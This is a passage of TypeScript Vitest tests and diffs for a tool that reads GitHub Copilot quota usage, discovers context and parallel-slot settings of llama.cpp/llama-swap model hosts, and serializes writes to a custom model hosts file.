const result = parseCopilotQuotaResponse({
quota_snapshots: { premium_interactions: { entitlement: 300, remaining: 75 } },
quota_reset_date: '2026-11-01',
});
expect(result?.monthly?.usedPercentage).toBe(75);
expect(result?.monthly?.used).toBe(225);
});
it('clamps overage to 100% and keeps the real count', () => {
const result = parseCopilotQuotaResponse({
quota_snapshots: { premium_interactions: { entitlement: 300, remaining: -40, percent_remaining: -13.3 } },
});
expect(result?.monthly?.usedPercentage).toBe(100);
expect(result?.monthly?.used).toBe(340);
});
it('rejects anything it cannot read as a quota', () => {
for (const bad of [
null,
undefined,
'x',
3,
{},
{ quota_snapshots: {} },
{ quota_snapshots: { premium_interactions: 'x' } },
]) {
expect(parseCopilotQuotaResponse(bad)).toBeNull();
}
});
it('returns nothing for a zero quota that is not unlimited', () => {
expect(
parseCopilotQuotaResponse({
quota_snapshots: { premium_interactions: { entitlement: 0, remaining: 0, percent_remaining: 0 } },
})
).toBeNull();
});
it('changes the signature when only the limit changes (a plan change mid-month)', () => {
// 100 requests used and the same reported percentage under both plans: only the entitlement differs.
const quota = (entitlement: number) =>
parseCopilotQuotaResponse({
quota_snapshots: {
premium_interactions: { entitlement, remaining: entitlement - 100, percent_remaining: 66.7 },
},
quota_reset_date_utc: '2026-11-01T00:00:00.000Z',
})!;
expect(telemetrySignature(quota(300))).not.toBe(telemetrySignature(quota(1500)));
});
it('feeds the change-detection signature without disturbing the Claude/Codex one', () => {
const copilot = parseCopilotQuotaResponse(RESPONSE)!;
expect(telemetrySignature(copilot)).not.toBe(telemetrySignature({}));
// A Claude-only payload has exactly the four-element signature it always had.
expect(JSON.parse(telemetrySignature({ fiveHour: { usedPercentage: 10, resetAt: 1 } }))).toEqual([
10,
1,
null,
null,
]);
});
});
describe('resolveCopilotToken', () => {
const dirs: string[] = [];
afterEach(() => {
for (const d of dirs.splice(0)) rmSync(d, { recursive: true, force: true });
});
const home = (config?: string) => {
const dir = mkdtempSync(join(tmpdir(), 'copilot-token-'));
dirs.push(dir);
if (config !== undefined) {
mkdirSync(join(dir, '.copilot'));
writeFileSync(join(dir, '.copilot', 'config.json'), config);
}
return dir;
};
const CONFIG = [
'// User settings belong in settings.json.',
JSON.stringify({
lastLoggedInUser: { host: 'https://github.com', login: 'octo' },
authTokens: {
'https://github.com:octo': { token: 'file-token' },
'https://github.com:other': { token: 'other-token' },
},
}),
].join('\n');
it('prefers the environment, in the order Copilot itself reads it', async () => {
const h = home(CONFIG);
await expect(resolveCopilotToken({ GITHUB_TOKEN: 'c', GH_TOKEN: 'b', COPILOT_GITHUB_TOKEN: 'a' }, h)).resolves.toBe(
'a'
);
await expect(resolveCopilotToken({ GITHUB_TOKEN: 'c', GH_TOKEN: 'b' }, h)).resolves.toBe('b');
await expect(resolveCopilotToken({ GITHUB_TOKEN: 'c' }, h)).resolves.toBe('c');
});
it("falls back to the signed-in user's token in the commented config.json", async () => {
await expect(resolveCopilotToken({}, home(CONFIG))).resolves.toBe('file-token');
});
it('honours COPILOT_HOME', async () => {
const elsewhere = home();
mkdirSync(join(elsewhere, 'cp'));
writeFileSync(join(elsewhere, 'cp', 'config.json'), CONFIG.replace('file-token', 'relocated'));
await expect(resolveCopilotToken({ COPILOT_HOME: join(elsewhere, 'cp') }, home())).resolves.toBe('relocated');
});
it('reads no file token for another host, a missing file or a broken one', async () => {
const ghe = CONFIG.replace('"host":"https://github.com"', '"host":"https://ghe.example.com"');
await expect(resolveCopilotToken({}, home(ghe))).resolves.toBeNull();
await expect(resolveCopilotToken({}, home())).resolves.toBeNull();
await expect(resolveCopilotToken({}, home('{ not json'))).resolves.toBeNull();
});
});
describe('readCopilotPlanUsage', () => {
const ok = (body: unknown, status = 200) =>
vi.fn(async () => new Response(JSON.stringify(body), { status })) as unknown as typeof fetch;
it('asks api.github.com with the bearer token, no redirects, and normalizes the answer', async () => {
const fetchFn = ok(RESPONSE);
const usage = await readCopilotPlanUsage({ token: 'tok', fetchFn });
expect(usage?.monthly?.limit).toBe(5000);
const [url, init] = (fetchFn as unknown as ReturnType<typeof vi.fn>).mock.calls[0] as [string, RequestInit];
expect(url).toBe(COPILOT_QUOTA_URL);
expect((init.headers as Record<string, string>).Authorization).toBe('Bearer tok');
expect(init.redirect).toBe('error');
});
it('resolves the token itself when none is passed, and sends it in the header', async () => {
vi.stubEnv('COPILOT_GITHUB_TOKEN', 'env-token');
try {
const fetchFn = ok(RESPONSE);
expect(await readCopilotPlanUsage({ fetchFn })).not.toBeNull();
const init = (fetchFn as unknown as ReturnType<typeof vi.fn>).mock.calls[0][1] as {
headers: Record<string, string>;
};
expect(init.headers.Authorization).toBe('Bearer env-token');
} finally {
vi.unstubAllEnvs();
}
});
it('sends nothing when there is no token', async () => {
const fetchFn = ok(RESPONSE);
expect(await readCopilotPlanUsage({ token: null, fetchFn })).toBeNull();
expect(fetchFn).not.toHaveBeenCalled();
});
it('answers null, never throws, on an HTTP error, a network failure or a changed shape', async () => {
expect(await readCopilotPlanUsage({ token: 't', fetchFn: ok({ message: 'Bad credentials' }, 401) })).toBeNull();
expect(await readCopilotPlanUsage({ token: 't', fetchFn: ok({ unexpected: true }) })).toBeNull();
const down = vi.fn(async () => {
throw new TypeError('fetch failed');
}) as unknown as typeof fetch;
expect(await readCopilotPlanUsage({ token: 't', fetchFn: down })).toBeNull();
});
it('never puts the token in anything it returns', async () => {
const usage = await readCopilotPlanUsage({ token: 'super-secret-token', fetchFn: ok(RESPONSE) });
expect(JSON.stringify(usage)).not.toContain('super-secret-token');
});
});
/**
* The server's 10-minute poll goes through these gates in this order: Plan Usage Limits on, then a
* sign-in token, then the CLI installed, so a host with no Copilot sign-in never runs the CLI
* resolver (whose last step is a login-shell probe) on every tick.
*/
describe('readCopilotPlanUsageIfEnabled', () => {
const gates = (over: Partial<Parameters<typeof readCopilotPlanUsageIfEnabled>[0]> = {}) => {
const fetchFn = vi.fn(
async () => new Response(JSON.stringify(RESPONSE), { status: 200 })
) as unknown as typeof fetch;
const deps = {
planUsageEnabled: vi.fn(async () => true),
resolveToken: vi.fn(async (): Promise<string | null> => 'tok'),
copilotInstalled: vi.fn(() => true),
read: vi.fn((token: string) => readCopilotPlanUsage({ token, fetchFn })),
...over,
};
return { deps, fetchFn };
};
it('sends no request, and looks for no token or CLI, while Plan Usage Limits is off', async () => {
const { deps, fetchFn } = gates({ planUsageEnabled: vi.fn(async () => false) });
expect(await readCopilotPlanUsageIfEnabled(deps)).toBeNull();
expect(fetchFn).not.toHaveBeenCalled();
expect(deps.read).not.toHaveBeenCalled();
expect(deps.resolveToken).not.toHaveBeenCalled();
expect(deps.copilotInstalled).not.toHaveBeenCalled();
});
it('never probes for the CLI on a host with no Copilot sign-in', async () => {
const { deps, fetchFn } = gates({ resolveToken: vi.fn(async () => null) });
expect(await readCopilotPlanUsageIfEnabled(deps)).toBeNull();
expect(deps.copilotInstalled).not.toHaveBeenCalled();
expect(fetchFn).not.toHaveBeenCalled();
});
it('sends no request when the CLI is not installed, whatever token the environment holds', async () => {
const { deps, fetchFn } = gates({ copilotInstalled: vi.fn(() => false) });
expect(await readCopilotPlanUsageIfEnabled(deps)).toBeNull();
expect(fetchFn).not.toHaveBeenCalled();
});
it('reads the quota with the resolved token once every gate passes', async () => {
const { deps, fetchFn } = gates();
expect((await readCopilotPlanUsageIfEnabled(deps))?.monthly?.limit).toBe(5000);
expect(deps.read).toHaveBeenCalledWith('tok');
expect(fetchFn).toHaveBeenCalledTimes(1);
});
});
+347 -6
View File
@@ -13,9 +13,11 @@
* directly plus the mocked webviewFetch dispatcher).
*/
import { describe, it, expect, vi, beforeEach } from 'vitest';
import { getDataDir } from '../src/config/instance.js';
import { readFileSync, rmSync, writeFileSync } from 'node:fs';
import { dataPath, getDataDir } from '../src/config/instance.js';
import { customModelHostsPath } from '../src/custom-model-hosts.js';
import { readCustomModelHosts, writeCustomModelHosts, type CustomModelHost } from '../src/custom-model-hosts.js';
import { refreshAllCustomModelHosts } from '../src/web/routes/custom-model-routes.js';
import { clearPropsProbeCache, refreshAllCustomModelHosts } from '../src/web/routes/custom-model-routes.js';
import { webviewFetch } from '../src/web/webview-egress.js';
vi.mock('../src/web/webview-egress.js', async () => {
@@ -31,6 +33,7 @@ function host(overrides: Partial<CustomModelHost> & Pick<CustomModelHost, 'id' |
beforeEach(() => {
fetchMock.mockReset();
clearPropsProbeCache();
});
describe('refreshAllCustomModelHosts (the periodic re-discovery sweep)', () => {
@@ -211,8 +214,9 @@ describe('refreshAllCustomModelHosts: context-length enrichment (llama.cpp/llama
it('prefers the REAL configured context size parsed from /running’s launch command over /props’s unreliable n_ctx', async () => {
// Confirmed live: llama-swap launched a model with --fit-ctx 16384 (the real, working
// limit — the actual server then refused a request over it), but /props reported
// n_ctx: 154112 for the same model, well over what it would really accept. /props must
// never be reached at all once the /running command parse already answered it.
// n_ctx: 154112 for the same model, well over what it would really accept. The context
// must therefore keep coming from the /running command; /props is now also probed, but
// only for `total_slots`, which the command does not state.
const dir = getDataDir();
await writeCustomModelHosts(dir, [host({ id: 'ep', baseUrl: 'http://localhost:8080' })]);
fetchMock.mockImplementation(async (url: URL) => {
@@ -235,7 +239,9 @@ describe('refreshAllCustomModelHosts: context-length enrichment (llama.cpp/llama
{ status: 200 }
);
}
if (url.pathname === '/props') throw new Error('must never be reached — the cmd parse already answered it');
if (url.pathname === '/props') {
return new Response(JSON.stringify({ n_ctx: 154112, total_slots: 4 }), { status: 200 });
}
throw new Error(`unexpected request: ${url.href}`);
});
@@ -243,6 +249,8 @@ describe('refreshAllCustomModelHosts: context-length enrichment (llama.cpp/llama
const [updated] = await readCustomModelHosts(dir);
expect(updated.modelContextLengths).toEqual({ 'qwen3.8-27b': 16384 });
expect(updated.modelSlotCounts).toEqual({ 'qwen3.8-27b': 4 });
// /props's 154112 never becomes the context, and nothing else stores it
});
it('falls back to /props when /running has no cmd, or the cmd states no recognizable context flag', async () => {
@@ -283,13 +291,245 @@ describe('refreshAllCustomModelHosts: context-length enrichment (llama.cpp/llama
{ status: 200 }
);
}
throw new Error(`unexpected request: ${url.href}`); // /props must never be reached
if (url.pathname === '/props') return new Response('not found', { status: 404 }); // slot probe only
throw new Error(`unexpected request: ${url.href}`);
});
await refreshAllCustomModelHosts();
const [updated] = await readCustomModelHosts(dir);
expect(updated.modelContextLengths).toEqual({ a: 8192 });
expect(updated.modelSlotCounts).toBeUndefined();
});
});
describe('refreshAllCustomModelHosts: parallel-slot enrichment (llama.cpp splits its context across --parallel slots)', () => {
/** One loaded model whose launch command is `cmd`; `/props` behaviour is supplied by the test. */
function serve(cmd: string, props: () => Response) {
fetchMock.mockImplementation(async (url: URL) => {
if (url.pathname === '/v1/models') {
return new Response(JSON.stringify({ data: [{ id: 'm', status: { value: 'loaded' } }] }), { status: 200 });
}
if (url.pathname === '/running') {
return new Response(JSON.stringify({ running: [{ model: 'm', state: 'ready', cmd }] }), { status: 200 });
}
if (url.pathname === '/props') return props();
throw new Error(`unexpected request: ${url.href}`);
});
}
const propsMustNotBeReached = () => {
throw new Error('/props must not be probed: the launch command already answered both questions');
};
it.each([
['--parallel 1', 1],
['-np 2', 2],
['--parallel=3', 3],
['--fit-ctx 65536 --parallel 1 --host 0.0.0.0', 1],
])('reads an explicit %s from the launch command without probing /props', async (flags, slots) => {
const dir = getDataDir();
await writeCustomModelHosts(dir, [host({ id: 'ep', baseUrl: 'http://localhost:8080' })]);
serve(`llama-server -m /models/m.gguf --ctx-size 65536 ${flags}`, propsMustNotBeReached);
await refreshAllCustomModelHosts();
const [updated] = await readCustomModelHosts(dir);
expect(updated.modelSlotCounts).toEqual({ m: slots });
expect(updated.modelContextLengths).toEqual({ m: 65536 });
});
it('asks /props for total_slots when the command states no --parallel (llama-server picks the count itself)', async () => {
const dir = getDataDir();
await writeCustomModelHosts(dir, [host({ id: 'ep', baseUrl: 'http://localhost:8080' })]);
serve(
'llama-server -m /models/m.gguf --fit-ctx 65536',
() => new Response(JSON.stringify({ n_ctx: 133888, total_slots: 4 }), { status: 200 })
);
await refreshAllCustomModelHosts();
const [updated] = await readCustomModelHosts(dir);
expect(updated.modelSlotCounts).toEqual({ m: 4 });
// the context still comes from the command's floor, never from /props's n_ctx
expect(updated.modelContextLengths).toEqual({ m: 65536 });
});
it('probes /props once per launch command: a repeat sweep reuses the answer, a changed command probes again', async () => {
const dir = getDataDir();
await writeCustomModelHosts(dir, [host({ id: 'ep', baseUrl: 'http://localhost:8080' })]);
let probes = 0;
const answer = () => (probes++, new Response(JSON.stringify({ n_ctx: 133888, total_slots: 4 }), { status: 200 }));
serve('llama-server -m /models/m.gguf --fit-ctx 65536', answer);
await refreshAllCustomModelHosts();
await refreshAllCustomModelHosts();
expect(probes).toBe(1); // a /props call refreshes the model's last-use time in llama-swap, so not every sweep
expect((await readCustomModelHosts(dir))[0].modelSlotCounts).toEqual({ m: 4 });
serve('llama-server -m /models/m.gguf --fit-ctx 65536 --flash-attn on', answer);
await refreshAllCustomModelHosts();
expect(probes).toBe(2);
});
it('does not divide a /props context a second time when --parallel is explicit and the command states no context', async () => {
const dir = getDataDir();
await writeCustomModelHosts(dir, [host({ id: 'ep', baseUrl: 'http://localhost:8080' })]);
// with an explicit count llama.cpp reports n_ctx per slot: 65,536 each is already what one request gets
serve(
'llama-server -m /models/m.gguf --parallel 4',
() => new Response(JSON.stringify({ n_ctx: 65536, total_slots: 4 }), { status: 200 })
);
await refreshAllCustomModelHosts();
const [updated] = await readCustomModelHosts(dir);
expect(updated.modelContextLengths).toEqual({ m: 65536 });
expect(updated.modelSlotCounts).toEqual({ m: 1 }); // already per slot, so one request gets all of it
});
it('a later round with an explicit --parallel replaces the slot count an earlier round learned', async () => {
const dir = getDataDir();
await writeCustomModelHosts(dir, [host({ id: 'ep', baseUrl: 'http://localhost:8080' })]);
// round 1: auto slots, the server chose 4 sharing 131,072 tokens
serve(
'llama-server -m /models/m.gguf',
() => new Response(JSON.stringify({ n_ctx: 131072, total_slots: 4 }), { status: 200 })
);
await refreshAllCustomModelHosts();
expect((await readCustomModelHosts(dir))[0].modelSlotCounts).toEqual({ m: 4 });
// round 2: the user followed the dialog and added --parallel 1
serve(
'llama-server -m /models/m.gguf --parallel 1',
() => new Response(JSON.stringify({ n_ctx: 131072, total_slots: 1 }), { status: 200 })
);
await refreshAllCustomModelHosts();
expect((await readCustomModelHosts(dir))[0].modelSlotCounts).toEqual({ m: 1 });
// round 3: --parallel 2 with a per-slot /props context must not bring a pool back
serve(
'llama-server -m /models/m.gguf --parallel 2',
() => new Response(JSON.stringify({ n_ctx: 65536, total_slots: 2 }), { status: 200 })
);
await refreshAllCustomModelHosts();
const [updated] = await readCustomModelHosts(dir);
expect(updated.modelSlotCounts).toEqual({ m: 1 });
expect(updated.modelContextLengths).toEqual({ m: 65536 });
});
it('remembers a /props that answers non-2xx per launch command, but retries a network failure', async () => {
const dir = getDataDir();
await writeCustomModelHosts(dir, [host({ id: 'ep', baseUrl: 'http://localhost:8080' })]);
let probes = 0;
serve('llama-server -m /models/m.gguf --fit-ctx 65536', () => (probes++, new Response('nope', { status: 404 })));
await refreshAllCustomModelHosts();
await refreshAllCustomModelHosts();
expect(probes).toBe(1); // no probe every sweep: a /props call keeps a model with a ttl loaded
clearPropsProbeCache();
probes = 0;
serve('llama-server -m /models/m.gguf --fit-ctx 65536', () => {
probes++;
throw new TypeError('fetch failed');
});
await refreshAllCustomModelHosts();
await refreshAllCustomModelHosts();
expect(probes).toBe(2); // a network error says nothing about the server, so it is tried again
});
it('treats -np -1 (llama.cpp auto) as unstated and falls back to /props', async () => {
const dir = getDataDir();
await writeCustomModelHosts(dir, [host({ id: 'ep', baseUrl: 'http://localhost:8080' })]);
serve(
'llama-server -m /models/m.gguf --fit-ctx 65536 -np -1',
() => new Response(JSON.stringify({ total_slots: 4 }), { status: 200 })
);
await refreshAllCustomModelHosts();
const [updated] = await readCustomModelHosts(dir);
expect(updated.modelSlotCounts).toEqual({ m: 4 });
});
it('a failed or slot-less /props leaves no slot count rather than failing the sweep or guessing one', async () => {
const dir = getDataDir();
await writeCustomModelHosts(dir, [host({ id: 'ep', baseUrl: 'http://localhost:8080' })]);
serve(
'llama-server -m /models/m.gguf --fit-ctx 65536',
() => new Response(JSON.stringify({ n_ctx: 8192 }), { status: 200 })
);
await expect(refreshAllCustomModelHosts()).resolves.toBeUndefined();
const [updated] = await readCustomModelHosts(dir);
expect(updated.modelSlotCounts).toBeUndefined();
expect(updated.modelContextLengths).toEqual({ m: 65536 });
});
it('keeps a previously-learned slot count for a model that is no longer loaded, and drops it once the model disappears', async () => {
const dir = getDataDir();
await writeCustomModelHosts(dir, [
host({
id: 'ep',
baseUrl: 'http://localhost:8080',
models: ['a', 'b'],
modelContextLengths: { a: 65536, b: 65536 },
modelSlotCounts: { a: 4, b: 2 },
}),
]);
fetchMock.mockResolvedValue(new Response(JSON.stringify({ data: [{ id: 'a' }] }), { status: 200 }));
await refreshAllCustomModelHosts();
const [updated] = await readCustomModelHosts(dir);
expect(updated.modelSlotCounts).toEqual({ a: 4 });
});
it('a round where only the listed figure answers resets the slot count a loaded round learned', async () => {
// The false-warning scenario, measured on a real llama-swap: round 1 has the model
// loaded under `--ctx-size 262144 --parallel 4`: a TOTAL window shared across slots,
// correctly stored with its count. Round 2 finds it unloaded and takes the LISTED
// `context_length`, which llama-swap documents as the PER-SLOT window. If the stored 4
// survived, the floor check would divide the per-slot figure a second time
// (65536/4 = 16384) and warn about a model that serves 65536 to every request.
const dir = getDataDir();
await writeCustomModelHosts(dir, [host({ id: 'ep', baseUrl: 'http://localhost:8080' })]);
fetchMock.mockImplementation(async (url: URL) => {
if (url.pathname === '/v1/models') {
return new Response(JSON.stringify({ data: [{ id: 'm', status: { value: 'loaded' } }] }), { status: 200 });
}
if (url.pathname === '/running') {
return new Response(
JSON.stringify({
running: [
{ model: 'm', state: 'ready', cmd: 'llama-server -m /models/m.gguf --ctx-size 262144 --parallel 4' },
],
}),
{ status: 200 }
);
}
throw new Error(`unexpected request: ${url.href}`); // the command answers both questions
});
await refreshAllCustomModelHosts();
let [round1] = await readCustomModelHosts(dir);
expect(round1.modelContextLengths).toEqual({ m: 262144 });
expect(round1.modelSlotCounts).toEqual({ m: 4 });
// Round 2: unloaded, no /running or /props probe in order, listing its per-slot figure.
fetchMock.mockResolvedValue(
new Response(JSON.stringify({ data: [{ id: 'm', status: { value: 'unloaded' }, context_length: 65536 }] }), {
status: 200,
})
);
await refreshAllCustomModelHosts();
const [round2] = await readCustomModelHosts(dir);
expect(round2.modelContextLengths).toEqual({ m: 65536 });
// 1 slot, not the stale 4: 65536 per slot with 1 recorded slot is the honest pair, so
// the floor check reads 65536/request: exactly what the server gives a single request.
expect(round2.modelSlotCounts).toEqual({ m: 1 });
});
});
@@ -366,3 +606,104 @@ describe('refreshAllCustomModelHosts: model-size enrichment (parsed from /v1/mod
expect(updated.modelSizesGB).toEqual({ a: 8 }); // 'a' kept from before, 'b' dropped (gone from the list)
});
});
describe('the sweep and the serialized writer', () => {
it('an endpoint created while the sweep was probing another one is kept', async () => {
const dir = getDataDir();
await writeCustomModelHosts(dir, [host({ id: 'probed', baseUrl: 'http://localhost:8080' })]);
fetchMock.mockImplementation(async () => {
// An admin saves a second endpoint between the sweep's read and its write. The sweep
// must splice its result onto the list as it is then, not write back the one it read.
const current = await readCustomModelHosts(dir);
if (!current.some((h) => h.id === 'added')) {
await writeCustomModelHosts(dir, [...current, host({ id: 'added', baseUrl: 'http://localhost:8082' })]);
}
return new Response(JSON.stringify({ data: [{ id: 'qwen3' }] }), { status: 200 });
});
await refreshAllCustomModelHosts();
const hosts = await readCustomModelHosts(dir);
expect(hosts.map((h) => h.id)).toEqual(['probed', 'added']);
expect(hosts[0].models).toEqual(['qwen3']);
});
it('never writes over a store that stopped parsing while the sweep ran', async () => {
const dir = getDataDir();
vi.spyOn(console, 'warn').mockImplementation(() => {});
await writeCustomModelHosts(dir, [
host({ id: 'a', baseUrl: 'http://localhost:8080', apiKey: 'sk-keep' }),
host({ id: 'b', baseUrl: 'http://localhost:8081' }),
]);
const broken = '[{"id":"a","apiKey":"sk-keep"},';
fetchMock.mockImplementation(async () => {
writeFileSync(customModelHostsPath(dir), broken);
return new Response(JSON.stringify({ data: [{ id: 'qwen3' }] }), { status: 200 });
});
await expect(refreshAllCustomModelHosts()).resolves.toBeUndefined();
// It used to read the broken file as an empty list and carry on; it is left as it is.
expect(readFileSync(customModelHostsPath(dir), 'utf8')).toBe(broken);
// And the sweep stopped there: the second endpoint was not probed for nothing.
expect(fetchMock.mock.calls.every(([url]) => !(url as URL).href.includes('8081'))).toBe(true);
vi.restoreAllMocks();
});
});
describe('the sweep leaves the local model record alone', () => {
const STATE = () => dataPath('local-model.json');
const MANAGED: CustomModelHost = {
id: 'local-ollama',
label: 'This Mac',
baseUrl: 'http://127.0.0.1:11435',
authStyle: 'bearer',
models: ['qwen3.6:35b-a3b'],
defaultModelId: 'qwen3.6:35b-a3b',
defaultContextLength: 131072,
};
beforeEach(() => {
rmSync(STATE(), { force: true });
});
it('while it is managed: it is not probed, and a model somebody pulled through the port does not become launchable', async () => {
const dir = getDataDir();
writeFileSync(
STATE(),
JSON.stringify({
schema: 1,
state: 'installed',
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 },
cli: { id: 'opencode', label: 'OpenCode' },
runtime: { version: '0.40.15', port: 11435, enabled: true },
connection: { endpointId: 'local-ollama', flagWasEnabled: false },
})
);
await writeCustomModelHosts(dir, [MANAGED, host({ id: 'other', baseUrl: 'http://localhost:8080' })]);
fetchMock.mockImplementation(
async () =>
new Response(JSON.stringify({ data: [{ id: 'qwen3.6:35b-a3b' }, { id: 'sneaked-in:7b' }] }), { status: 200 })
);
await refreshAllCustomModelHosts();
const hosts = await readCustomModelHosts(dir);
// Our record is exactly what the install wrote: no new model, no discovery stamp.
expect(hosts.find((h) => h.id === 'local-ollama')).toEqual(MANAGED);
// Every other endpoint is refreshed as before.
expect(hosts.find((h) => h.id === 'other')?.models).toEqual(['qwen3.6:35b-a3b', 'sneaked-in:7b']);
for (const [url] of fetchMock.mock.calls) expect((url as URL).href).not.toContain('11435');
rmSync(STATE(), { force: true });
});
it('a record with that id that nobody installed is refreshed like any other', async () => {
const dir = getDataDir();
await writeCustomModelHosts(dir, [{ ...MANAGED, models: [], defaultModelId: undefined }]);
fetchMock.mockImplementation(
async () => new Response(JSON.stringify({ data: [{ id: 'mine:1b' }] }), { status: 200 })
);
await refreshAllCustomModelHosts();
expect((await readCustomModelHosts(dir))[0].models).toEqual(['mine:1b']);
});
});
+239
View File
@@ -0,0 +1,239 @@
/**
* @fileoverview The serialized writer of `custom-model-hosts.json`
* (src/custom-model-hosts-writer.ts) and the rule that every writer in src/ goes through it.
*
* What is pinned:
* - two mutations started at the same moment both land (the fault the writer ends: the
* endpoint routes and the discovery sweep used to read, change and write on their own);
* - the check a caller makes runs in the same step as its write;
* - a file that does not parse is refused and left byte for byte, and the refusal never
* repeats the file's text (it can hold an API key);
* - the file is written 0600 through a temp file that is gone afterwards;
* - no module of src/ calls `writeCustomModelHosts()` any more.
*
* Port: N/A (no server; files in a temp folder).
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { mkdtempSync, readdirSync, readFileSync, rmSync, statSync, symlinkSync, writeFileSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { join } from 'node:path';
import { fileURLToPath } from 'node:url';
import {
CustomModelHostsWriteRefusedError,
customModelHostsWriteErrorResponse,
mutateCustomModelHosts,
} from '../src/custom-model-hosts-writer.js';
import { customModelHostsPath, readCustomModelHosts, type CustomModelHost } from '../src/custom-model-hosts.js';
const host = (id: string, extra: Partial<CustomModelHost> = {}): CustomModelHost => ({
id,
label: id,
baseUrl: `http://${id}.example:8080`,
...extra,
});
let dir: string;
beforeEach(() => {
dir = mkdtempSync(join(tmpdir(), 'codeman-hosts-writer-'));
});
afterEach(() => {
rmSync(dir, { recursive: true, force: true });
vi.restoreAllMocks();
});
describe('mutateCustomModelHosts', () => {
it('starts from an empty list when the file is missing, and writes what the mutation returns', async () => {
const result = await mutateCustomModelHosts((hosts) => {
expect(hosts).toEqual([]);
return { hosts: [host('a')], result: 'added' };
}, dir);
expect(result).toBe('added');
expect(await readCustomModelHosts(dir)).toEqual([host('a')]);
});
it('an empty file is an empty list too: it holds no endpoint to lose', async () => {
writeFileSync(customModelHostsPath(dir), ' \n');
await mutateCustomModelHosts((hosts) => ({ hosts: [...hosts, host('a')], result: undefined }), dir);
expect(await readCustomModelHosts(dir)).toEqual([host('a')]);
});
it('writes nothing when the mutation returns no list', async () => {
writeFileSync(customModelHostsPath(dir), JSON.stringify([host('a')]));
const before = statSync(customModelHostsPath(dir)).mtimeMs;
const result = await mutateCustomModelHosts((hosts) => ({ result: hosts.length }), dir);
expect(result).toBe(1);
expect(statSync(customModelHostsPath(dir)).mtimeMs).toBe(before);
expect(readFileSync(customModelHostsPath(dir), 'utf8')).toBe(JSON.stringify([host('a')]));
});
it('two mutations started together both land: the second sees what the first wrote', async () => {
const seen: string[][] = [];
const add = (id: string) =>
mutateCustomModelHosts((hosts) => {
seen.push(hosts.map((item) => item.id));
return { hosts: [...hosts, host(id)], result: id };
}, dir);
const results = await Promise.all([add('first'), add('second')]);
expect(results).toEqual(['first', 'second']);
expect(seen).toEqual([[], ['first']]);
expect((await readCustomModelHosts(dir)).map((item) => item.id)).toEqual(['first', 'second']);
});
it('twenty mutations at once keep every record (unserialized writers lost all but the last)', async () => {
const ids = Array.from({ length: 20 }, (_, i) => `ep${i}`);
await Promise.all(
ids.map((id) => mutateCustomModelHosts((hosts) => ({ hosts: [...hosts, host(id)], result: undefined }), dir))
);
expect((await readCustomModelHosts(dir)).map((item) => item.id)).toEqual(ids);
// Every temp file was renamed over the target: only the one file is left.
expect(readdirSync(dir)).toEqual(['custom-model-hosts.json']);
});
it('a check made inside the mutation is made on the list as it is then: two creates of one id, one wins', async () => {
const create = (label: string) =>
mutateCustomModelHosts<'created' | 'exists'>((hosts) => {
if (hosts.some((item) => item.id === 'same')) return { result: 'exists' };
return { hosts: [...hosts, host('same', { label })], result: 'created' };
}, dir);
expect(await Promise.all([create('one'), create('two')])).toEqual(['created', 'exists']);
expect(await readCustomModelHosts(dir)).toEqual([host('same', { label: 'one' })]);
});
it('hands the mutation a list it may change in place', async () => {
writeFileSync(customModelHostsPath(dir), JSON.stringify([host('a'), host('b')]));
await mutateCustomModelHosts((hosts) => {
hosts[1] = { ...hosts[1], label: 'changed' };
return { hosts, result: undefined };
}, dir);
expect((await readCustomModelHosts(dir)).map((item) => item.label)).toEqual(['a', 'changed']);
});
it('writes the file 0600 (it holds API keys), also over a file that was world-readable', async () => {
writeFileSync(customModelHostsPath(dir), '[]', { mode: 0o644 });
await mutateCustomModelHosts(() => ({ hosts: [host('a', { apiKey: 'sk-secret' })], result: undefined }), dir);
expect(statSync(customModelHostsPath(dir)).mode & 0o777).toBe(0o600);
});
it('writes through a symlink: the real file changes and the link stays a link', async () => {
const real = join(dir, 'real-hosts.json');
writeFileSync(real, '[]');
symlinkSync(real, customModelHostsPath(dir));
await mutateCustomModelHosts(() => ({ hosts: [host('a')], result: undefined }), dir);
expect(JSON.parse(readFileSync(real, 'utf8'))).toEqual([host('a')]);
expect(await readCustomModelHosts(dir)).toEqual([host('a')]);
});
describe('a file that must not be overwritten', () => {
const broken = '[{"id":"keep","apiKey":"sk-do-not-leak"},';
it.each([
['text that does not parse', broken],
['a JSON object instead of a list', '{"id":"keep","apiKey":"sk-do-not-leak"}'],
['a JSON string', '"sk-do-not-leak"'],
])('refuses %s, leaves it byte for byte and never calls the mutation', async (_label, content) => {
const warn = vi.spyOn(console, 'warn').mockImplementation(() => {});
writeFileSync(customModelHostsPath(dir), content);
const fn = vi.fn(() => ({ hosts: [host('new')], result: undefined }));
await expect(mutateCustomModelHosts(fn, dir)).rejects.toBeInstanceOf(CustomModelHostsWriteRefusedError);
expect(fn).not.toHaveBeenCalled();
expect(readFileSync(customModelHostsPath(dir), 'utf8')).toBe(content);
expect(readdirSync(dir)).toEqual(['custom-model-hosts.json']);
// Neither the error nor the log repeats the file, which holds a key.
const error = await mutateCustomModelHosts(fn, dir).catch((err: Error) => err);
expect((error as Error).message).not.toContain('sk-do-not-leak');
expect((error as Error).message).toContain('custom-model-hosts.json');
expect(warn.mock.calls.flat().join(' ')).not.toContain('sk-do-not-leak');
});
it('the plain reader calls such a file an empty list, which is why a writer must not start from it', async () => {
writeFileSync(customModelHostsPath(dir), broken);
expect(await readCustomModelHosts(dir)).toEqual([]);
});
it('a refused mutation does not stop the ones after it', async () => {
vi.spyOn(console, 'warn').mockImplementation(() => {});
writeFileSync(customModelHostsPath(dir), broken);
const refused = mutateCustomModelHosts(() => ({ hosts: [], result: undefined }), dir);
const other = mkdtempSync(join(tmpdir(), 'codeman-hosts-writer-other-'));
try {
const next = mutateCustomModelHosts(() => ({ hosts: [host('a')], result: 'ok' }), other);
await expect(refused).rejects.toBeInstanceOf(CustomModelHostsWriteRefusedError);
expect(await next).toBe('ok');
expect(await readCustomModelHosts(other)).toEqual([host('a')]);
} finally {
rmSync(other, { recursive: true, force: true });
}
});
});
it('a mutation that throws rejects its own caller, writes nothing, and the chain goes on', async () => {
writeFileSync(customModelHostsPath(dir), JSON.stringify([host('a')]));
const thrown = mutateCustomModelHosts(() => {
throw new Error('boom');
}, dir);
const next = mutateCustomModelHosts((hosts) => ({ hosts: [...hosts, host('b')], result: undefined }), dir);
await expect(thrown).rejects.toThrow('boom');
await next;
